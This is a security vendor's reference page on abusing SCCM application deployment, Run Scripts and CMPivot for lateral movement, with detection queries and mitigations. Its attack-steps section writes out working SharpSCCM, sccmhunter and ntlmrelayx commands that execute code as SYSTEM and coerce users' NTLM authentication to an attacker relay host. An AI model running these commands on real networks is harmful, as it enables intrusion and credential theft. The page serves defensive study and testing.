1. Resources
  2. Identity Threats
  3. Active Directory

SCCM Application Deployment for Lateral Movement

Also known as: SCCM application deployment abuse, SCCM lateral movement, MECM Run Scripts abuse, CMPivot abuse, EXEC-1, EXEC-2

An account with a Configuration Manager administrative role deploys an application or script to chosen devices, and the SCCM client runs it as SYSTEM or as the signed-in user.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Low
Detection difficulty
High
Privileges required: Specific rights or roles
A Configuration Manager security role that can deploy applications or run scripts: Full Administrator, Application Administrator or Operations Administrator, scoped to the target collection.
What the attacker gains
Code execution as SYSTEM, or as a chosen user, on any managed device in the role's scope, through the organization's own management channel.
Threat groups
APT32Medusa GroupMustang PandaNIMBUS MANTICORESalt TyphoonSandworm TeamShinyHuntersSilenceThreat Group-1314VOID MANTICOREAkiraAPT-C-36APT19APT28and 75 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1072, T1059.001.

How it works

Running software on other computers is what Configuration Manager is for. The client agent on every managed device runs as SYSTEM, polls the site for policy and carries out whatever the policy says: install this application, run this script, answer this query. An account with the right administrative role can therefore execute code across the estate without touching any of the usual remote administration protocols. This is lateral movement with the organization's own tooling.

Who may do what is decided by Configuration Manager's role-based administration, which combines three things:

  • Security roles define the permitted actions (Full Administrator, Application Administrator, Operations Administrator and others).
  • Security scopes limit which objects, such as applications and task sequences, an administrator can use.
  • Collections limit which devices and users the actions can target.

An administrator's real reach is the union of all their assignments, so a role name alone does not describe it. These assignments live in the site database, not in Active Directory, and are invisible to directory reviews.

The execution features an attacker uses are:

  • Application deployment. Create an application whose "installation program" is any command line or a program on a UNC path, deploy it to a collection, and choose whether it runs as SYSTEM or as the signed-in user. Full Administrator and Application Administrator can do this.
  • Run Scripts. Create a PowerShell script, approve it and run it on a device or collection in near real time, as SYSTEM. Full Administrator and Operations Administrator can do this, as can a custom role with the script permissions.
  • CMPivot. Query online clients in real time for processes, files, registry values, local administrators and sessions. It needs only "Read" and "Run CMPivot" on a collection and is the reconnaissance step for the two above.
  • NTLM coercion from clients. If the installation program is a UNC path on the attacker's host and the deployment runs as the signed-in user, every targeted client sends that user's NTLM authentication to the attacker, to relay or crack. This reaches a specific person without running anything on their machine.

How the attacker gets the role is a separate question: a phished or over-privileged administrator, credentials recovered from deployment policy, or a site takeover by NTLM relay.

The same reasoning applies to other platforms that both hold credentials and push software, such as asset management servers with deployment features. A standalone WSUS server is more limited: clients install only updates signed by Microsoft, or locally published content signed by a certificate they trust, so approving an update is not arbitrary code execution by itself.

Prerequisites

  • Credentials for an account with a suitable security role, with the target devices inside its collections.
  • Network access to an SMS Provider: WMI, or HTTPS for the AdminService.
  • A target device with a working client. For Run Scripts and CMPivot it must be online.
  • For application deployment from a share: a path the target's computer account or user can read.
  • For Run Scripts: the script must be approved. By default the author cannot approve their own script. If the hierarchy setting "Script authors require additional script approver" is cleared, one identity is enough; otherwise the attacker needs a second account with the approve permission.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Confirm the role

List the site's administrators with their roles, collections and scopes:

.\SharpSCCM.exe get class-instances SMS_Admin -sms sccm01.corp.example.com -sc PS1 -p CategoryNames -p CollectionNames -p LogonName -p RoleNames --no-banner

An Application Administrator can deploy but cannot run this query, and cannot force clients to fetch policy immediately. Their deployment runs when the client next polls.

2. Deploy an application to one device

SharpSCCM's exec creates a device collection, adds the target, creates an application with the given command line, deploys it, waits for it to run, and then deletes the objects it created:

# Runs as the signed-in user by default
.\SharpSCCM.exe exec -d WS01 -p "C:\Windows\System32\calc.exe" -sms sccm01.corp.example.com -sc PS1 --no-banner

# Run a binary from a share as SYSTEM
.\SharpSCCM.exe exec -d SRV01 -p "\\fs01.corp.example.com\tools\agent.exe" -s -sms sccm01.corp.example.com -sc PS1

The wait before cleanup is 300 seconds by default and is set with -w. Large hierarchies need longer.

3. Run a script through the AdminService

After taking a Full Administrator role, sccmhunter's admin shell finds a device, selects it and runs a script on it:

python3 sccmhunter.py admin -u alice -p 'Password1!' -ip 192.0.2.31
() (C:\) >> get_device SRV01
() (C:\) >> interact 16777235
(16777235) (C:\) >> script script.txt
[+] Updates script created successfully with GUID a0627fc9-6680-4850-8691-6b0d31ea0896.
[+] Script with guid a0627fc9-6680-4850-8691-6b0d31ea0896 approved.
[+] Script with guid a0627fc9-6680-4850-8691-6b0d31ea0896 executed.

interact takes the device's resource ID from the get_device output. The script file holds any PowerShell, and runs as SYSTEM.

4. Query before acting

CMPivot answers questions about a device without deploying anything:

.\SharpSCCM.exe invoke admin-service -q "IPConfig" -r 16777235 -sms sccm01.corp.example.com

Variant: coerce a user's NTLM authentication

Start a relay, then deploy an "application" whose path is the relay host, targeted at the device where the user of interest is signed in:

ntlmrelayx.py -smb2support -ts -ip 192.0.2.50 -t 192.0.2.60
# By device
.\SharpSCCM.exe exec -d WS01 -r 192.0.2.50 -sms sccm01.corp.example.com -sc PS1 --no-banner

# By user: finds the device where the user is the primary user
.\SharpSCCM.exe exec -u CORP\bob -r 192.0.2.50 --no-banner

When the client evaluates the deployment, the user's session authenticates to the relay host.

Impact

One role gives SYSTEM on every device in its collections. For a Full Administrator that is every workstation and server with a client, as fast as policy propagates. Domain compromise follows wherever a domain controller, a certificate authority or an administrator's workstation is managed by the site: code as SYSTEM on a domain controller is control of the domain.

The user-context options extend this to people. Running as the signed-in user, or collecting their NTLM authentication, reaches privileged individuals on machines where the attacker has no other foothold.

Deployments persist. An application deployed as "required" to a collection installs on every device that joins the collection later, which makes a deployment a persistence mechanism as well as an execution one.

OPSEC and artifacts

  • No remote logon on the target. The code is started by the Configuration Manager client that is already running. There is no network logon, no new service and no remote session on the target for the execution itself, which is why an operator picks this route over remote service execution.
  • Objects in the site. SharpSCCM's exec creates a collection named Devices_<GUID> and an application named Application_<GUID>, then deletes them. New applications can be hidden from the console's software lists. Creation, deployment and deletion are recorded as audit status messages under the account that made them, and those records outlive the objects.
  • Scripts are stored. A Run Scripts execution leaves the script, its author, its approver and its run history in the site, visible under Scripts and Script Status until someone deletes them.
  • Client logs. The target records an application run in AppEnforce.log with the command line and exit code, and a script run in Scripts.log. These are local files that roll over.
  • Process creation. With process auditing on, event 4688 on the target shows the payload started by the client service or its helper processes, running as SYSTEM or in the user's session.
  • Timing. Waiting for the normal policy poll instead of forcing an update blends in, at the cost of up to an hour.
  • The coercion variant shows as an outbound SMB connection from the client to a host that is not a distribution point, and as a logon by the user on the relay target from the wrong address (event 4624).

Detection

Standard Windows logging on the target sees very little, so detection relies on the site's own records and on the content of what ran.

  • Audit status messages. Query them for created or modified applications, deployments, collections and scripts, and compare each with a change record. Objects created and deleted within minutes, and names made of a word and a GUID, are worth a rule.
  • Deployments to unusual collections: a collection with one member, a new collection containing only domain controllers or administrator workstations, or a deployment made outside maintenance windows.
  • Script runs. Every Run Scripts execution has an author and an approver. Alert when they are the same account, when the approver changed the hierarchy's approval setting first, and on scripts run against Tier 0 devices.
  • Unexpected enforcement on the client. Collect AppEnforce.log and Scripts.log from sensitive servers. A command line that is an interpreter, a UNC path outside the content library, or a program in a user-writable folder does not look like packaged software.
  • Children of the client service. Process creation where the parent is the Configuration Manager client and the child is powershell.exe, cmd.exe or an unsigned binary from a share deserves a look on servers that receive few deployments.
  • New administrators. A role assignment that appears shortly before a deployment ties this page to site takeover.
// Interpreters and share-hosted binaries started by the Configuration Manager client
SecurityEvent
| where EventID == 4688
| where ParentProcessName endswith "\\CcmExec.exe"
| where NewProcessName endswith "\\powershell.exe" or NewProcessName endswith "\\cmd.exe"
    or CommandLine startswith "\\\\"
| project TimeGenerated, Computer, SubjectUserName, NewProcessName, CommandLine, ParentProcessName

Legitimate packages also start scripts, so build an allow list from the applications your site really deploys. CommandLine is filled only when command line auditing is enabled.

Mitigation

  • Apply least privilege to Configuration Manager roles. Keep Full Administrator to a few named accounts. Give operators roles limited by scope and collection to the devices they are responsible for, and review the combined effect of multiple assignments.
  • Take Tier 0 out of reach. Do not manage domain controllers, certificate authorities and privileged access workstations from the same site as ordinary endpoints, or exclude them from every collection that operators can target. The Active Directory hardening guide describes the tiering this depends on.
  • Use separate administrative accounts for Configuration Manager, with privileged access management controls, and require multifactor authentication for SMS Provider access.
  • Keep script approval separated. Leave the hierarchy setting "Script authors require additional script approver" turned on, and give the approval permission to different people than the authors.
  • Have a second person review high-impact deployments: compare the intended target population with the collection's effective membership before a rollout to servers.
  • Protect the routes to the role. Site takeover by relay, console and site server vulnerabilities such as CVE-2026-47301, and credentials in deployment policy all end here.
  • Monitor and retain audit status messages centrally, so that an attacker with Full Administrator cannot remove the only record.

Log events to collect

FAQ

Which SCCM roles can run code on clients?

Full Administrator can do everything. Application Administrator can create and deploy applications. Full Administrator and Operations Administrator, or a custom role with the script permissions, can create, approve and run scripts. Each role only reaches the collections and scopes it is assigned, so the effective reach is the combination of all of an account's assignments.

Why is SCCM lateral movement hard to detect?

The code is delivered by the management agent that already runs as SYSTEM on every device and installs software all day. There is no new remote logon, no new service and no unusual network connection to the target. The distinguishing facts are in Configuration Manager's own records: who created the deployment, for which collection, and whether a change approved it.

Does the target need to be online?

Run Scripts and CMPivot act on online clients in near real time. An application deployment is picked up when the client next polls for machine policy, every 60 minutes by default, unless an administrator with enough rights forces a policy update. Deployments also wait for offline clients, so they work as delayed execution.

How is this different from Group Policy abuse?

The effect is similar, code on many machines through a management channel, but the authority is separate. Configuration Manager roles are stored in the site database, not in Active Directory, so an account with no special directory rights can hold them, and Active Directory reviews do not show them.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.